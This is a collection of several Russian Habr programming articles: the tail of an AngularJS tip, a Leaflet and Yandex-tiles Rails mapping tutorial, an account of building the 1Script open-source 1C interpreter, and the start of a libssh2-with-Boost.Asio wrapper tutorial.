* Изначально размещать элементы в нужных местах. Тоже не подходит для меня, так как я считаю, что элементы должны находиться максимально близко к тем элементам, с которыми они взаимодействуют;
* Не использовать ng-if в таких случаях. Именно так мы и поступили. Чуть чуть изменили код, но зато все работает. Что именно изменили не рассказываю в статье, потому что решение кастомнное для определенных директив - был добавлен дополнительный параметр enable;
* Можно попробовать изменить приоритеты для директив. [Приоритет](https://docs.angularjs.org/api/ng/service/$compile#-priority-) кастомный директивы должен быть выше, чем у `ng-if`, то есть выше 600;
* Переносить не рутовый элемент директивы, а дочерный. То есть: `element.find('[append-to-root]').appendTo($rootElement);`
* Не объявлять для элемента `ng-if` директиву, а обернуть её:
```
...
```` | https://habr.com/ru/post/225891/ | null | ru | null |
# Leaflet как оболочка для «Яндекс.Карт» — отображаем 100 тысяч маркеров на карте
Я очень люблю [Leaflet](http://leafletjs.com/). С его помощью можно очень быстро строить свои интерактивные карты. Однако, практически все доступные поставщики тайлов (слоёв для карт) предоставляют свои услуги за весьма внушительные деньги. Существуют такие OpenSource-проекты, как [OSM](http://openstreetmap.ru/), но не всегда их тайлы удовлетворяют своим внешним видом.
Цель
----
Цель заключалась в том, чтобы слепить своего полностью бесплатного кентавра. Мне всегда нравились Yandex-карты, но не их API. Поэтому я заинтересовался вопросом внедрения Яндекс-карты, как слоя для Leaflet.
[Пример](https://github.com/storuky/map) готового приложения. **В репозитории 48 Мбайт дамп базы.**
[Рабочий пример](http://45.55.238.107:8080/). **Может не пережить Хабраэффект.**
Беглое исследование
-------------------
Проинспектировав запросы легальной Яндекс-карты, я вычислил сервер тайлов с которым идет общение.
```
'http://vec{s}.maps.yandex.net/tiles?l=map&v=4.55.2&z={z}&x={x}&y={y}&scale=2⟨=ru_RU'
{s} - поддомен (subdomain), необходим для того, чтобы не попасть в лимит браузера по запросам к одному и тому же домену. Эмпирическим путем удалось вычислить, что это 01, 02, 03, 04
{z} - масштаб слоя (zoom)
{x - широта (latitude)
{y} - долгота (longitude)
```
Это все данные, которые нам необходимы, чтобы использовать тайлы Яндекс-карты внутри Leaflet.
Реализация
----------
Для бэкенде я буду использовать **Ruby On Rails**, чтобы слегка развеять миф о том, что рельсы медленные. Ведь выводить на карту мы будем 100 тысяч маркеров!
Первым делом создадим модель Marker:
```
rails g model marker
```
**Содержимое миграции**
```
class CreateMarkers < ActiveRecord::Migration
def change
create_table :markers do |t|
t.float :lat
t.float :lng
t.string :name
t.string :avatar
t.string :website
t.string :email
t.string :city
t.string :address
t.string :phone
t.text :about
t.timestamps null: false
end
end
end
```
```
rake db:create
rake db:migrate
```
Я написал небольшую фабрику, генерирующую 100000 маркеров с заполненными Фейкером полями. Я использую **PostgreSQL**. Дамп базы можно найти в **db/db.dump**.
**Фабрика**
```
# test/factories/markers.rb
FactoryGirl.define do
factory :marker do
lat {Faker::Address.latitude}
lng {Faker::Address.longitude}
avatar {Faker::Avatar.image}
name {Faker::Name.name}
website {Faker::Internet.url}
email {Faker::Internet.email}
city {Faker::Address.city}
address {Faker::Address.street_address}
about {Faker::Hipster.paragraph}
phone {Faker::PhoneNumber.cell_phone}
end
end
# db/seeds.rb
100000.times do |num|
FactoryGirl.create(:marker)
ap "#{num}"
end
```
Для управления моделью Marker сгенерируем контроллер markers:
```
rails g controller markers
```
**Код контроллера**
```
class MarkersController < ApplicationController
before_action :set_marker, only: [:show]
def index
respond_to do |format|
format.html
format.json {
pluck_fields = Marker.pluck(:id, :lat, :lng)
render json: Oj.dump(pluck_fields)
}
end
end
def show
render "show", layout: false
end
private
def set_marker
@marker = Marker.find(params[:id])
end
end
```
Чтобы не терять время на построении AR-объекта, я вызываю метод **pluck**, который выполняет SELECT-запрос только к нужным мне полям. Это дает значительный прирост в производительности. Результат представляет из себя массив массивов:
```
[
[1,68.324,-168.542],
[2,55.522,59.454],
[3,-19.245,-79.233]
]
```
Так же я использую гем [Oj](https://github.com/ohler55/oj) для быстрой генерации json. Потери на view не превышают 2мс для 100000 объектов.
Не забываем указать новый ресурс в routes.rb:
```
Rails.application.routes.draw do
root to: "markers#index"
resources :markers, only: [:index, :show]
end
```
Приступаем к самой карте.
Для такого большого количества маркеров необходим кластеризатор. В Leaflet есть большой выбор различных плагинов, добавляющих нужную нам функциональность. Я остановился на [PruneCluster](https://github.com/SINTEF-9012/PruneCluster).
Подключаем все необходимые библиотеки:
**application.css**
```
/*
*= normalize
*= require leaflet
*= require prune_cluster
*= require_tree .
*= require_self
*/
```
**application.js**
```
//= require jquery
//= require leaflet
//= require prune_cluster
//= require_self
//= require_tree .
```
Для того, чтобы отрисовать карту, необходимо сделать базовую разметку:
**markers/index.html.slim**
```
#map
```
**application.css**
```
#map {
position: fixed;
left: 0;
right: 0;
top: 0;
bottom: 0;
}
```
Теперь мы можем нарисовать leaflet-карту:
```
var map = L.map('map').setView([54.762,37.375], 8), // Карта внутри блока #map
leafletView = new PruneClusterForLeaflet(); // Кластер, в который мы будем складывать маркеры
```
Так как карта не имеет ни одного слоя, мы увидим только серый фон. Добавить слой на карту очень просто:
```
L.tileLayer(
'http://vec{s}.maps.yandex.net/tiles?l=map&v=4.55.2&z={z}&x={x}&y={y}&scale=2⟨=ru_RU', {
subdomains: ['01', '02', '03', '04'],
attribution: 'Яндекс',
reuseTiles: true,
updateWhenIdle: false
}
).addTo(map);
```
Теперь внутри контейнера **#map** отображается привычная нам Яндекс-карта. Однако, нам необходимо переопределить проекцию карты со сферического меркатора на эллиптический, иначе будет заметный сдвиг по координатам. Заодно укажем, откуда leaflet должен забирать дефолтные иконки для маркеров.
```
map.options.crs = L.CRS.EPSG3395;
L.Icon.Default.imagePath = "/leaflet";
```
Осталось запросить все маркеры и отрисовать их на карте:
```
jQuery.getJSON("/markers.json", {}, function(res){
res.forEach(function (item) {
leafletView.RegisterMarker(new PruneCluster.Marker(item[1], item[2], {id: item[0]}));
});
map.addLayer(leafletView);
})
```
Сейчас наша карта не несет никакого смысла, так как нельзя получить никакой информации о маркере. Добавим Popup, который будет вызываться при клике по маркеру и забирать содержимое с сервера:
```
leafletView.PrepareLeafletMarker = function (marker, data) {
marker.on('click', function () {
jQuery.ajax({
url: "/markers/"+data.id
}).done(function (res) {
if (marker.getPopup()) {
marker.setPopupContent(res)
} else {
marker.bindPopup(res);
marker.openPopup();
}
})
})
}
```
Создадим соответствующую разметку для Popup:
**markers/show.html.slim**
```
h1
| #{@marker.name}
.popup__address
| #{@marker.city}, #{@marker.address}
.nowrap
.popup__avatar
img src="#{@marker.avatar}" width="120" height="120"
.popup__contacts
.popup__contact
b Телефон:
div
| #{@marker.phone}
.popup__contact
b Эл. почта:
div
a href="mailto:#{@marker.email}"
| #{@marker.email}
.popup__contact
b Вебсайт:
div
a href=" #{@marker.website}" target="_blank"
| #{@marker.website}
p
| #{@marker.about}
```
Итог
----
Мы интегрировали Leaflet c Яндекс-картами, а значит нам стали доступны все [плагины для leaflet-карт](http://leafletjs.com/plugins.html). Написанное приложение не только выдерживает нагрузку в 100000 маркеров, но еще при этом обладает достаточно полезной функциональностью.
[Пример](https://github.com/storuky/map) готового приложения. **В репозитории 48 Мбайт дамп базы.** | https://habr.com/ru/post/283354/ | null | ru | null |
# 1Script или Как я начал open-source проект
Тезис о том, что open-source создается гиками-энтузиастами в наше время несколько утратил актуальность. Тем не менее, идеология открытого кода родилась именно так. Классные программы, написанные ночью, бородатыми (и не очень) чудиками, бескорыстно, просто, чтобы сделать мир лучше — изменили мир разработки ПО.
Любой программист втайне мечтает сделать что-то большое и светлое, чтобы всем понравилось. Если вы скажете мне, что вы не из таких, что вам нравится только закрывать тикеты в рабочем багтрекере, и вы не мечтаете о выпуске своего проекта в большой мир, то я вам не поверю. Или посоветую сменить профессию. Я убежден, что программист — это художник, а художнику важно делать что-то свое, возможно, просто «в стол» — но делать.
Однажды, мне в голову упала идея проекта. Идея была чисто исследовательской и я не собирался делать из этого некий «продукт». Кроме того, я раньше не вел проектов в открытом доступе и мне очень хотелось попробовать, как это вообще происходит. Что из этого получилось — под катом.
В самом начале жизненного пути проекта я уже [писал про него](http://habrahabr.ru/post/223887/) на Хабре. Тогда это были первые шаги, код был сырым, но он работал. Мне хотелось, чтобы проект вызвал интерес со стороны других авторов, поскольку в одиночку я его явно бы не потянул и вообще, забросил. В принципе, так бы и вышло, если бы я не получил свой первый pull-request от незнакомого человека. Но обо всем по порядку…
О чем идет речь?
================
Я сделал собственную реализацию стековой машины, исполняющей скрипты на языке 1С: Предприятие. Или, если проще — открытый интерпретатор языка 1С и открытую же реализацию некоторых стандартных классов 1С. При этом, ставилась четкая прикладная цель проекта — дать 1С-никам инструмент скриптовой автоматизации, который легко будет изучить. Проект был назван 1Script.
И вот, проект опубликован на хабре и на профильном 1С-овском портале [infostart.ru](http://infostart.ru/public/327581/). Жду обратную связь. Первый отклик получил на [мисте](http://www.forum.mista.ru/index.php) и от души посмеялся. Топик на форуме назывался *«Интерпретатор 1С на хабре. Давайте зачмырим?»* На мисте много добрых людей, я порадовался:)
Потом пошли более-менее адекватные вопросы, на которые я старательно отвечал, после чего статьи в штатном режиме опустились с первых страниц куда-то вниз, и интерес к проекту затих. Ну что же, это был ожидаемый финал, я немного подосадовал, но не сильно. Собственно, я не рассчитывал на какой-то особый результат. Поболтали и ладно. Шли дни, я что-то доделывал, даже выложил еще одну версию, но она кроме меня никому была не нужна. Мой запал иссяк. Хотя я и не был разочарован, но писать новый код перестал.
Второе дыхание
==============
Спустя примерно два месяца после публикации на меня вышел Сергей Батанов (Серега, привет!:) — заметный чувак в сообществе 1С-ников, который предложил свою помощь в развитии стандартной библиотеки. Это был 1С-овский класс «ТаблицаЗначений». Разумеется, я согласился. А когда я увидел реальный код, который прислал Сергей, я радовался, как ребенок, правда. В Интернетах часто бывает, когда кто-то что-то предлагает на словах, но до дела часто не доходит. А тут — реальный живой код, который работает, который полностью адекватный, который можно вставить в проект!
При этом, задача довольно крупная, я сам бы поленился ее делать. А тут — ощутимый, реально полезный, измеримый строками кода вклад в общий проект! Короче говоря, не покривлю душой, если скажу, что именно Сергей сделал так, что проект не был мной заброшен. Это потрясающее вдохновение — получить помощь от незнакомого человека. Просто так, потому что ему было интересно то, что ты начал.
Постепенно, я стал получать фидбек от людей, которые пробовали движок и спрашивали «где вот такая фича?», «а как сделать вот это?» На все эти вопросы приходилось отвечать, что мол, это прототип, а самому в срочном порядке эти фичи добавлять. Но энтузиазм зашкаливал: «Люди интересуются и пробуют применять», поэтому новые фичи добавлялись довольно быстро. Изначально в стандартной библиотеке не было даже функций работы с файлами.
Дальше-больше
-------------
Спустя какое-то время, мне написал Александр Кунташов, с вопросом об интеграции 1Script и проекта Снегопат ([www.snegopat.ru](http://www.snegopat.ru)). Кто не знает — это такой решарпер для 1С. В нем можно делать скриптовые плагины к Конфигуратору 1С и есть целое сообщество авторов подобных плагинов.
Плагины эти писались на JavaScript, в связи с чем требовали квалификации, выходящей за рамки стандартного программиста 1С. Из-за этого, в конечном итоге, тормозилось и развитие экосистемы плагинов. Число людей, желающих улучшить Конфигуратор, примерно равно общему числу 1С-ников, однако, необходимость изучения JavaScript отпугивает авторов потенциальных шедевров.
Я, опять же, дико обрадовался востребованности своего детища, выпросил у автора дистрибутив Снегопата и стряхнул пыль со своих знаний C++. Пыли оказалось намного больше, чем знаний, но творческий зуд сделал свое дело, и я погрузился в MSDN.
Примерно через месяц, в Конфигураторе 1С стало можно писать плагины прямо на языке 1С, не переключаясь в окно редактора JavaScript. Тогда же были исправлены первые критичные баги движка и существенно пересмотрена внутренняя архитектура.
Я же получил пьянящий восторг от общения с С++, COM, ATL и всем вотэтимвот, после долгих лет работы исключительно с 1С. Ну и еще от того, что сделал нечто полезное, ощутимое для сообщества 1С-ников.
Первый опыт боевого применения
==============================
Примерно в это же время (точно уже не помню) проект попал в поле зрения Алексея Лустина ([alexey-lustin](https://habr.com/users/alexey-lustin/)) (Леха, тебе тоже привет!) — среди 1С-ников человека известного и уважаемого. Это совпало по времени с моим поиском нового места работы. Я присматривал интересные компании на рынке, а Алексей — специалистов под проект Continuos Integration/Continuos Delivery для 1С-ников. Тогда Леша уже видел мой проект (и ник) на хабре, а я уже знал, что некая команда продвинутых 1С-ников в сети делают занятные нестандартные вещи.
В тот момент в сообществе уже были известны такие штуки, как юнит-тестирование, хранение кода 1С в git, BDD+cucumber для 1С и прочее. Самым доступным из этих чуваков мне показался Алексей и я написал ему письмо, где спросил нет ли у того интересной работы. Так я вместе со своим проектом попал в веселую компанию гиков, собравшихся к тому времени в компании, где работал Алексей.
На тот момент движок уже имел минимально необходимый скрипту набор возможностей, и его можно было (как мне казалось) в принципе применить в качестве скриптования сборки и развертывания баз 1С.
Зачем вообще применять для этого новый движок?
----------------------------------------------
Собственно, скриптовых языков мильон, непонятно же, зачем нужен еще один, да еще и неизвестный — спросит читатель хабра — и будет не совсем прав. Стратегически, будущий продукт предназначался для 1С-ников и должен был бы жить переходя от разработчика к разработчику, независимо от кадровых изменений в компании. В сообществе 1С-ников существует объективная проблема: среди них много классных специалистов, но почему-то средний 1С-ник не хочет учить никакой другой язык, после того, как хорошо набил руку в 1С. Я не знаю в чем причина данного явления, наверное в том, что 1С рулит (irony)? Люди приходят в 1С зная Java, С/С++, микроконтроллеры, Delphi, либо не зная ничего, но они часто остаются в 1С и неохотно переходят обратно в свои исходные экосистемы.
Я сейчас предвижу волну гнева, но будьте добры, дослушать тезис до конца. Из любого правила есть исключения, однако, планируя систему, которая должна пережить несколько поколений разработчиков (не биологических, а кадровых поколений, разумеется), то с наибольшей вероятностью вы найдете специалиста, который сможет ее развивать, если она будет написана на 1С. Если это будет питон (или вставьте ваш любимый язык), то вам придется нанимать питонщика, очень хорошо знающего 1С. А после его перехода в большие начальники — вам придется искать еще одного такого же, с компетенциями в области 1С. А если это сразу будет язык 1С, то вам придется найти только 1С-ника, хорошо знающего 1С и этого будет достаточно.
Иными словами, система будет более живучей и сможет развиваться бОльшим количеством спецов, если будет написана на знакомом им всем языке.
Таким образом, стала понятна сфера применения 1Script: это DevOps и подобные задачи для целей 1С проектов.
Первые шишки и правильная разработка
------------------------------------
Первый же более-менее большой скрипт, который я написал (до этого были тексты не более ста строк) вызвал падение движка. При определенном сочетании параметров и цепочек вызовов управление передавалось в неизвестное место кода, и приложение падало. Пришлось почти полностью переписать реализацию стека вызовов и обработку исключений. Это был вызов в стиле «Ах ты так! Ну ща я тебя исправлю!» Боевой запал позволил переписать нужные модули за один день и выявить помимо этого еще пару-тройку багов. Код стал выполняться стабильно. Я выпустил новый релиз. Попутно, поскольку я теперь занимался Continuous Integration, пришло осознание, что проекту тоже требуется билд-сервер и автоматизация выпуска релизов. Кроме того, к проекту подключился [artbear](https://habr.com/users/artbear/), известный среди 1С-ников, как корифей и гуру 1С-тестирования. Он сделал мне на базе своего фреймворка xUnitFor1C инструментарий для тестирования движка. Так у меня появились приемочные тесты поведения, написанные также на языке 1С. Я поднял на своем домашнем сервере TeamCity и настроил ночные сборки с прогоном тестов. Попутно, я зарядился энтузиазмом — проект живет и приобретает новых контрибьюторов. Это дико вдохновляло.
За какие-то три-четыре месяца библиотека классов движка обросла, наконец, всем необходимым для большинства задач скриптинга: появились сетевые функции, работа с архивами, XML и прочее. Наш проект по CI для 1С был успешно запущен.
Примерно в то же время, благодаря, опять же, [alexey-lustin](https://habr.com/users/alexey-lustin/) в проект стали приходить новые заинтересованные пользователи. Они запрашивали фичи, находили баги, требовали новых релизов.
Поток фич, выделение библиотечного кода, вкупе с необходимостью простой схемы выпуска релизов, привели меня к такой интересной штуке, как проблема роста. Но о ней, чуть позже.
В ноябре 2014 года меня пригласили выступить на престижной 1С-овской конференции Infostart Event в Питере. Разумеется, я согласился, а темой выступления взял 1Script. Тему утвердили, что для меня означало, во-первых, факт некоторой известности проекта (т.е. слушатели, вероятно, придут, т.к. хотя бы что-то про это слышали), а во-вторых, я надеялся привлечь контрибьюторов, поскольку времени на развитие движка хватать почти перестало.
Специально для конференции я даже сделал специальную забаву — CGI режим, в котором скрипты можно было запускать под управлением HTTP сервера и формировать HTTP-вывод. Сайты на языке 1С теперь уже не страшный сон хостера, а суровая реальность (шутка).
Выступление на Infostart можно считать первым публичным анонсом, где 1Script уже не стесняясь можно было назвать продуктом, инструментом, способным решать конкретные задачи. Это был уже не эксперимент, а боевой продукт. Хотя еще и в статусе беты.
Проблема роста или Подводные камни поддержки проекта
====================================================
Как оказалось, наличие в твоем управлении востребованного проекта, даже небольшого — несет в себе немалый такой груз накладных расходов. Для начала, это поток фич. Пожелания приходят намного чаще, чем коммиты, реализующие эти пожелания. Требуется строго учитывать версии, в которых исправлялись те или иные ошибки. Требуется как-то уведомлять пользователей о том, что с версии Х исправлена ошибка или появилась новая возможность. Рост функционала требует документирования, причем документация имеет тенденцию к устареванию.
Ну и самое забавное — требуется техническая инфраструктура собственно «поддержки». Потребовался сайт, генератор документации, сервер сборки/деплоя и прочее и прочее… Потребовались финансовые вложения в инфраструктуру — минимальные, но все-таки вложения.
Начиная исследовательский проект, я даже не предполагал такое количество организационно-технических вопросов, с которыми придется столкнуться при росте проекта. Очень помог в этом плане переход на методику git-flow, стало проще разбираться самому и общаться с пользователями на тему версий и веток.
### Опыт краудфандинга (ужасное слово)
В начале этого года я попробовал провести эксперимент — организовал сбор пожертвований на инфраструктуру — доменное имя и хостинг. Мне было интересно, насколько проект сможет окупить собственное существование. Результат был, незнакомые мне люди, действительно, присылали примерно по 100-500 р. чего хватило на оплату доменного имени в зоне .io. Затем, кампания была свернута и поток средств прекратился. До полной окупаемости дело не дошло, хотя, некоторое финансовое подспорье было получено.
Самое главное — натурно был проверен тезис об эффективности модели donation, как таковой. Вывод — в моем случае donation сложно назвать эффективным, хотя и нулевым он не был.
Библиотека полезных скриптов
----------------------------
За полтора года кодинга на 1Script выделились библиотечные блоки, которые можно использовать самому и рекомендовать другим. Естественным путем в моем распоряжении скопился ряд наработок, которые были пригодны к повторному использованию.
Это привело к тому, что в движок была добавлена возможность подключения сторонних «пакетов», написанных также на 1Script. На выходе получился еще один проект, получивший название oscript-library. (<https://github.com/EvilBeaver/oscript-library>) Эта библиотека, разумеется, также потребовала инфраструктуры, документации, end-user обновлений и прочего. Зато поток контрибьютинга со стороны 1С-ников вырос в разы. Пакеты ведь разрабатываются на уже знакомом языке, а значит можно сразу приносить пользу, портировать уже имеющиеся наработки и т.д. Сообщество «1С-скриптописателей» начало расти, чему в немалой степени поспособствовал уже [второй доклад](http://event.infostart.ru/2015/speakers/index.php?ELEMENT_ID=375784) на Infostart Event в 2015 г.
### Как это выглядит
Для импорта используется специальная директива препроцессора *#Использовать (#Use)* Ее нет в оригинальной платформе 1С, но для простоты импорта библиотек пришлось отойти от канонического синтаксиса и позаимствовать решение в других экосистемах.
```
#Использовать json
// класс ЧтениеJSON объявлен в библиотеке и доступен благодаря директиве #Использовать
ОбъектЧтения = Новый ЧтениеJSON();
// дальше идет какой-то код
// ...
```
Конкретное решение вырабатывалось уже коллективом авторов, продумывались сценарии применения, подводные камни и пр. В качестве инструмента для «мозгоштурма» был использован Google Docs.
### Пакетный менеджер
Для управления пакетами был на коленке написан простенький пакетный менеджер, получивший название OPM (OneScript Package Manager). Он также написан на 1Script и представляет собой консольную утилиту управления пакетами. В данный момент идет переосмысление инфраструктуры пакетов и работа над production-ready версией opm.
Проект сегодня
==============
На сегодняшний момент 1Script это стабильный, успешно применяемый в десятках компаний инструмент автоматизации для 1С-ников. Кроме того, OneScript это уже своего рода бренд, это название известно в сообществе, инструмент активно применяют, пишут, задают вопросы, обсуждают и, что особенно приятно — дорабатывают.
Кроме того, практически неотъемлемой частью проекта является библиотека пакетов повторно используемого кода. Она небольшая, но покрывает значительную часть задач, ежедневно решаемых типовым 1С-ником.
Это уже не просто «интерпретатор 1С». Сообществом была создана экосистема полезных и востребованных инструментов.
Для меня же это был уникальный опыт, я получил слова (и дела) поддержки от десятков незнакомых (и теперь уже знакомых) мне людей. Программа, которую я начал исключительно для того «чтобы попробовать» превратилась в работающий проект, используемый в реальных боевых задачах. Кроме того, получен огромный опыт управления таким вот open-source проектом — поддержка, сопровождение, инфраструктура и т.д…
Ну и самое главное — получено удовольствие от того, что делаешь нечто нужное.
Что планируем сделать дальше
----------------------------
Активное применение библиотеки пакетов выявило ряд недочетов и неудобств. Планируем внести коррективы в инфраструктуру пакетов и расширить функционал пакетного менеджера. Также планируем расширять набор библиотек, например, сейчас идет работа над оберткой для Docker API. Мы управляем docker-контейнерами с помощью скриптов на 1С и наработки по этой теме, вероятно, также будут опубликованы, когда будут доведены до ума. В результате будет получен упрощенный DSL для манипуляции контейнерами из сценария 1script.
Техническая сводка
------------------
* Язык программирования — C#, .NET v4.0/Mono 3.1x
* Среда разработки — VS 2013-2015
* Имя интерпретатора — oscript.exe (запуск на выполнение — oscript )
* Расширение файла скрипта — .os
* Расширение файла пакета — .ospx
* Производительность кода — в большинстве замеров до 4-х раз быстрее оригинальной платформы 1С. Как минимум, не медленнее ее.
* Репозиторий движка — [github.com/EvilBeaver/OneScript](https://github.com/EvilBeaver/OneScript)
* Репозиторий библиотеки — [github.com/oscript-library](https://github.com/oscript-library)
Сайт проекта не пишу, во-первых, чтобы не звучало, как пиар, а во-вторых, он просто не вынесет хабраэффекта.
Советы начинающим экспериментаторам
-----------------------------------
Если у вас есть свой проект, который вы хотели бы вывести в свет, то позволю себе дать вам пару советов, основанных на личном опыте.
* Дерзайте! Если вы будете держать свой проект в столе и никому о нем не рассказывать, то о нем никто и не узнает. Начните со статьи на Хабр. Одной статьи будет недостаточно. Упоминайте свой проект в форумах, посвященных предметной области вашего проекта, приводите примеры удачного применения.
* Будьте готовы к тому, что предложений от людей много, а реальных коммитов — сильно меньше. Подход в стиле «Это open-source, тебе надо, ты и сделай», к сожалению, не прокатит.
* Заранее продумайте решение «проблемы роста». Рост, как правило, взрывной и справиться с резко возросшим пулом задач довольно сложно.
* Автоматизируйте все что можно с самого начала — тестирование, сборку, публикацию версий, документирование. Эти вещи проще всего отложить на потом, но «потом» уже не будет времени все это автоматизировать.
* Привлекайте контрибьюторов. Вклад в проект это не только код. Зачастую это даже просто идеи. Спрашивайте: «как лучше сделать это», «как могло бы выглядеть вот это». Вам подскажут. И вполне вероятно — помогут.
* Выращивать проект — невероятно круто. Не стесняйтесь, делитесь своей работой, получайте удовольствие от процесса!
Спасибо, что дочитали до конца! :) | https://habr.com/ru/post/301064/ | null | ru | null |
# Асинхронный обмен данными с удалённым приложением через SSH
Доброго времени суток, друзья и коллеги. Меня всё ещё зовут Дмитрий Смирнов, и я всё ещё, к моему вящему удовольствию, являюсь разработчиком ISPsystem. Некоторое время назад я начал работу над совершенно новым проектом, который меня очень вдохновил, поскольку новое — это в нашем случае отсутствие легаси кода и поддержки старых компиляторов. Здравствуй, Boost, C++17 и все прочие радости современной разработки.
Так случилось, что все мои прошлые проекты были многопоточными, соответственно, у меня было крайне мало опыта с асинхронными решениями. Именно это стало самым приятным для меня в этой разработке, помимо современных мощных инструментов.
Одной из последних сопутствующих задач стала необходимость написать обёртку над библиотекой [libssh2](https://www.libssh2.org) в реалиях асинхронного приложения, использующего [Boost.Asio](https://www.boost.org/doc/libs/1_68_0/doc/html/boost_asio.html), и способного породить не более двух потоков. Об этом и расскажу.
Примечание: автор предполагает, что читатель знаком с основами асинхронной разработки и boost::asio.
Задача
------
В общих чертах задача стояла следующим образом: подключиться к удалённому серверу, используя rsa-ключ или логин и пароль; загрузить на удалённую машину некий скрипт и запустить его; вычитывать его ответы и присылать ему команды через то же самое соединение. При этом, разумеется, не блокируя потока (который является половиной всего возможного пула).
**Дисклеймер**: я знаю, что в Poco реализована работа с SSH, но я не нашёл способа поженить его с Asio, да и написать что-то своё было интереснее :-).
Инициализация
-------------
Для инициализации и сворачивания библиотеки я решил воспользоваться обычным синглтоном:
**Init()**
```
class LibSSH2 {
public:
static void Init() {
static LibSSH2 instance;
}
private:
explicit LibSSH2() {
if (libssh2_init(0) != 0) {
throw std::runtime_error("libssh2 initialization failed");
}
}
~LibSSH2() {
std::cout << "shutdown libssh2" << std::endl;
libssh2_exit();
}
};
```
Есть в этом решении, разумеется, и подводные камни, согласно моей любимой настольной книге «Тысяча и один способ выстрелить себе в ногу в C++». Если кто-то порождает поток, который забудут поджойнить, и главный завершится раньше, вполне могут возникнуть интересные спецэффекты. Но в данном случае я не буду учитывать подобную возможность.
Основные сущности
-----------------
После разбора [примера](https://www.libssh2.org/examples/ssh2_exec.html) становится понятно, что для нашей небольшой библиотеки понадобятся три несложные сущности: сокет, сессия и канал. Поскольку неплохо иметь и синхронные инструменты, мы пока оставим Asio в стороне.
Начнём с простого сокета:
**Сокет**
```
class Socket {
public:
explicit Socket() : m_sock(socket(AF_INET, SOCK_STREAM, 0)) {
if (m_sock == -1) {
throw std::runtime_error("failed to create socket");
}
}
~Socket() { close(m_sock); }
private:
int m_sock = -1;
}
```
Теперь сессия:
**Сессия**
```
class Session {
public:
explicit Session(const bool enable_compression) : m_session(libssh2_session_init()) {
if (m_session == nullptr) {
throw std::runtime_error("failed to create libssh2 session");
}
libssh2_session_set_blocking(m_session, 0);
if (enable_compression) {
libssh2_session_flag(m_session, LIBSSH2_FLAG_COMPRESS, 1);
}
}
~Session() {
const std::string desc = "Shutting down libssh2 session";
libssh2_session_disconnect(m_session, desc.c_str());
libssh2_session_free(m_session);
}
private:
LIBSSH2_SESSION *m_session;
}
```
Раз уж мы теперь имеем сокет и сессию, неплохо было бы написать функцию ожидания для сокета в реалиях libssh2:
**Ожидание сокета**
```
int WaitSocket() const {
pollfd fds{};
fds.fd = sock;
fds.events = 0;
if ((libssh2_session_block_directions(session) & LIBSSH2_SESSION_BLOCK_INBOUND) != 0) {
fds.events |= POLLIN;
}
if ((libssh2_session_block_directions(session) & LIBSSH2_SESSION_BLOCK_OUTBOUND) != 0) {
fds.events |= POLLOUT;
}
return poll(&fds, 1, 10);
}
```
Собственно, это практически ничем не отличается от приведённого выше примера, кроме того, что там используется select вместо poll.
Остаётся канал. В libssh2 есть несколько видов каналов: простой, SCP, direct tcp. Нас интересует самый простой, базовый канал:
**Канал**
```
class SimpleChannel {
public:
explicit SimpleChannel(session) {
while ((m_channel = libssh2_channel_open_session(session) == nullptr &&
GetSessionLastError() == LIBSSH2_ERROR_EAGAIN) {
WaitSocket();
}
if (m_channel == nullptr) {
throw std::runtime_error("Critical error while opening simple channel");
}
}
void SendEof() {
while (libssh2_channel_send_eof(m_channel) == LIBSSH2_ERROR_EAGAIN) {
WaitSocket();
}
while (libssh2_channel_wait_eof(m_channel) == LIBSSH2_ERROR_EAGAIN) {
WaitSocket();
}
}
~SimpleChannel() {
CloseChannel();
}
private:
void CloseChannel() {
int rc;
while ((rc = libssh2_channel_close(m_channel)) == LIBSSH2_ERROR_EAGAIN) {
WaitSocket();
}
libssh2_channel_free(m_channel);
}
LIBSSH2_CHANNEL *m_channel;
};
```
Теперь, когда все основные инструменты готовы, остаётся установить соединение с хостом и производить необходимые нам манипуляции. Асинхронная запись в канал и синхронная, разумеется, будут очень сильно различаться, а вот процесс установления соединения — нет.
Поэтому напишем базовый класс:
**Базовое соединение**
```
class BaseConnectionImpl {
protected:
explicit BaseConnectionImpl(const SshConnectData &connect_data) ///< Это любая удобная структура, содержащая информацию о подключении
: m_session(connect_data.enable_compression)
, m_connect_data(connect_data) {
LibSSH2::Init();
ConnectSocket();
HandShake();
ProcessKnownHosts();
Auth();
}
///Следующие три метода понадобятся нам чуть позже
bool CheckSocket(int type) const {
pollfd fds{};
fds.fd = m_sock;
fds.events = type;
return poll(&fds, 1, 0) == 1;
}
bool WantRead() const {
return CheckSocket(POLLIN);
}
bool WantWrite() const {
return CheckSocket(POLLOUT);
}
/*Я не был уверен, что реализация соединения, которая почти полностью взята из примера
* будет кому-то интересна.
*/
void ConnectSocket() {...}
void HandShake() {...}
void Auth() {...}
class Socket m_sock;
class Session m_session;
class SimpleChannel;
SshConnectData m_connect_data;
};
```
Вот теперь мы готовы написать простейший класс для соединения с удалённым хостом и выполнения на нем какой-либо команды:
**Синхронное соединение**
```
class Connection::Impl : public BaseConnectionImpl {
public:
explicit Impl(const SshConnectData &connect_data)
: BaseConnectionImpl(connect_data) {}
template
void WriteToChannel(LIBSSH2\_CHANNEL \*channel, Begin ptr, size\_t size) {
do {
int rc;
while ((rc = libssh2\_channel\_write(channel, ptr, size)) == LIBSSH2\_ERROR\_EAGAIN) {
WaitSocket();
}
if (rc < 0) {
break;
}
size -= rc;
ptr += rc;
} while (size != 0);
}
void ExecuteCommand(const std::string &command, const std::string ∈ = "") {
SimpleChannel channel(\*this);
int return\_code = libssh2\_channel\_exec(channel, command.c\_str());
if (return\_code != 0 && return\_code != LIBSSH2\_ERROR\_EAGAIN) {
throw std::runtime\_error("Critical error while executing ssh command");
}
if (!in.empty()) {
WriteToChannel(channel, in.c\_str(), in.size());
channel.SendEof();
}
std::string response;
for (;;) {
int rc;
do {
std::array buffer{};
rc = libssh2\_channel\_read(channel, buffer.data(), buffer.size());
if (rc > 0) {
boost::range::copy(boost::adaptors::slice(buffer, 0, rc), std::back\_inserter(response));
} else if (rc < 0 && rc != LIBSSH2\_ERROR\_EAGAIN) {
throw std::runtime\_error("libssh2\_channel\_read error (" + std::to\_string(rc) + ")");
}
} while (rc > 0);
if (rc == LIBSSH2\_ERROR\_EAGAIN) {
WaitSocket();
} else {
break;
}
}
}
};
```
До сих пор всё, что мы писали, было простым приведением примеров libssh2 к более цивилизованному виду. Но теперь, имея все простые инструменты для синхронной записи данных в канал, мы можем перейти к Asio.
